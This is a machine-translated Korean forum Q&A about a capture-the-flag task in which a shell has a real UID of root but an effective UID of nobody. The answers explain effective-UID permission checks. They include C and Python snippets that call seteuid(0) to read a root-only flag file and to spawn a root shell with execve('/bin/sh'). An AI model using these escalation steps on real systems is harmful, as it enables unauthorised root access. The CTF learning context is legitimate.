UID는 루트이지만 whoami는 아무도 없다고 말합니다.

UID는 루트이지만 whoami는 아무도 없다고 말합니다.

파일을 읽기 위해 어떤 형태로든 권한 상승을 구현해야 하는 깃발 캡처 콘테스트에 참여하고 있습니다 flag.txt. 실행하면 whoami다음과 같은 결과가 나오는 것을 확인했습니다.

myHostHere:/$ whoami
nobody

하지만 실행하면 idUID가 다음과 같이 설정됩니다 root.

myHostHere:/$ id
uid=0(root) gid=65534(nobody) euid=65534(nobody)

이것은 내가 루트 사용자 등의 역할을 할 수 있다는 것을 의미합니까, 아니면 출력을 잘못 해석하고 있습니까?

편집하다:

의 출력은 ls -l flag.txt다음과 같습니다:

-r--r-----    1 root     root            34 Feb 10 12:00 flag.txt

답변1

--static이 문제는 별도의 컴퓨터에서 C 프로그램을 작성하고 컴파일(을 사용하여)하면 해결될 수 있습니다 .

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
void main() {
    seteuid(0);
    setgid(0);
    system("cat flag.txt");
}

chmod +x이 파일은 로 실행 하고 폴더에서 실행할 수 있는 권한이 부여된 CTF 시스템으로 복사될 수 있습니다 tmp.

답변2

나는 당신과 매우 유사한 설정을 만들었습니다. 디버거를 사용하여 수행했습니다(예:여기그리고거기). 영향을 받은 쉘에는 다음이 있습니다.

$ whoami
nobody
$ id
uid=0(root) gid=65534(nogroup) euid=65534(nobody) groups=65534(nogroup)
$

그런 다음에 따르면이 답변:

파일 액세스 및 루트 권한이 필요한 작업은 유효한 UID 및 GID를 확인하세요.

실제로 이런 일이 발생합니다.

$ ls -l flag.txt
---------- 1 root root 4 Mar 17 08:57 flag.txt
$ cat flag.txt
cat: flag.txt: Permission denied
$

하지만 나는 이렇게 할 수 있다:

$ sudo cat flag.txt
foo

아니면 이거:

$ su -
# whoami
root
# cat flag.txt
foo

아니면 이거:

$ sg root 'cat flag.txt'
foo

가 있으면 시스템 호출을 사용하고 파일을 읽을 uid=0수 있는 모든 것이 도움이 될 수 있습니다. seteuidpython:

import os
os.seteuid(0)
f = open('flag.txt', 'r')
print f.read()
f.close()

파일을 읽는 대신(또는 별도로) 상승된 쉘을 생성할 수 있습니다.

import os
os.seteuid(0)
os.execve("/bin/sh", [], {})

이 쉘에서 당신은 root; cat flag.txt작동합니다.


테스트베드: Debian GNU/Linux 9.

관련 정보